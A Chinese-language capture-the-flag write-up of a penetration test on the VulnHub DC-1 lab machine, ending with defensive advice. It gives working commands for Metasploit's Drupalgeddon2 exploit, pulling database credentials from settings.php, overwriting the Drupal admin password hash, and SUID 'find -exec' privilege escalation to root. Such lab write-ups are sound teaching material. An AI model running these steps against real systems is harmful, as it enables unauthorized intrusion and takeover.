记对VnlnHub_DC-1的一次渗透测试
字数 1279 2025-08-19 12:40:31
DC-1 渗透测试实战教学文档
1. 环境准备与信息收集
1.1 靶机发现
- 已知条件:靶机操作系统为Debian Linux,Kali攻击机IP为10.10.10.6
- 扫描工具:
nmap -O 10.10.10.0/24 # 扫描目标网络并识别操作系统 arp-scan -l # ARP扫描局域网主机 netdiscover # 网络发现工具 - 确定靶机IP:10.10.10.11
1.2 端口与服务扫描
nmap -A -T4 10.10.10.11 # 详细扫描(-A)并使用快速扫描模式(-T4)
扫描结果:
- 开放22端口(SSH)
- 开放80端口(HTTP)
- 使用Drupal 7 CMS
2. Web应用渗透
2.1 初步信息收集
- 使用Wappalyzer插件识别:
- CMS: Drupal 7
- PHP版本: 5.4.45
2.2 Drupal漏洞利用
- 使用Metasploit查找Drupal 7漏洞:
msfconsole search drupal - 选择并配置漏洞利用模块:
use exploit/unix/webapp/drupal_drupalgeddon2 set RHOSTS 10.10.10.11 set RPORT 80 exploit - 成功建立meterpreter会话后获取shell:
shell python -c "import pty;pty.spawn('/bin/bash')" # 升级为交互式shell
2.3 Flag1获取
- 在根目录发现flag1.txt:
Every good CMS needs a config file - and so do you. - 关键点:提示查找Drupal配置文件
3. 数据库渗透
3.1 查找Drupal配置文件
- 默认路径:
/var/www/sites/default/settings.php - 查看内容:
cat /var/www/sites/default/settings.php - 获取Flag2:
Brute force and dictionary attacks aren't the only ways to gain access (and you WILL need access). What can you do with these credentials?
3.2 数据库凭证提取
从配置文件中获取:
- 数据库名:drupaldb
- 用户名:dbuser
- 密码:R0ck3t
3.3 数据库操作
- 登录MySQL:
mysql -u dbuser -pR0ck3t drupaldb - 查看users表:
select * from users; - 修改admin密码:
- 方法一:使用Drupal密码哈希脚本
输出哈希值:cd /var/www php scripts/password-hash.sh admin$S$DMJh3iIOftiO8OZGUwQKKA9ChRJM1qSyKd2v9VNwvqAAAoPbXn2U - 方法二:直接SQL更新
update users set pass='$S$DMJh3iIOftiO8OZGUwQKKA9ChRJM1qSyKd2v9VNwvqAAAoPbXn2U';
- 方法一:使用Drupal密码哈希脚本
3.4 Web后台登录
- 使用admin/admin登录Drupal后台
- 在"Find content"中找到Flag3:
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
4. 系统提权
4.1 Flag4获取
- 查看/etc/passwd:
发现flag4用户和/home/flag4目录cat /etc/passwd - 查看flag4目录:
Flag4内容:cd /home/flag4 cat flag4.txtCan you use this same method to find or access the flag in root? Probably. But perhaps it's not that easy. Or maybe it is?
4.2 提权准备
- 查找SUID权限文件:
发现find命令具有SUID权限find / -perm -u=s 2>/dev/null
4.3 利用find提权
- 方法一:
find / -exec '/bin/sh' \; - 方法二:
touch testfile find testfile -exec '/bin/sh' \; - 成功获取root shell后查看/root目录:
Flag5内容:cd /root cat thefinalflag.txtWell done!!!! Hopefully you've enjoyed this and learned some new skills. You can let me know what you thought of this little journey by contacting me via Twitter - @DCAU7
5. 关键知识点总结
-
信息收集:
- 使用nmap进行主机发现和端口扫描
- Wappalyzer识别Web应用技术栈
-
漏洞利用:
- Metasploit框架使用
- Drupalgeddon2漏洞利用
-
数据库操作:
- 配置文件信息提取
- MySQL凭证利用
- Drupal密码哈希机制
-
权限提升:
- SUID权限原理
- find命令提权技术
- Linux敏感文件(/etc/passwd, /etc/shadow)
-
工具使用:
- nmap
- Metasploit
- MySQL客户端
- find命令高级用法
6. 防御建议
-
CMS安全:
- 及时更新CMS和插件
- 修改默认配置文件路径
- 使用强密码策略
-
数据库安全:
- 避免使用默认数据库凭证
- 限制数据库用户权限
- 加密存储敏感信息
-
系统安全:
- 定期检查SUID/SGID文件
- 限制root权限
- 监控系统日志
-
网络防护:
- 防火墙规则限制
- 关闭不必要的服务
- SSH密钥认证替代密码认证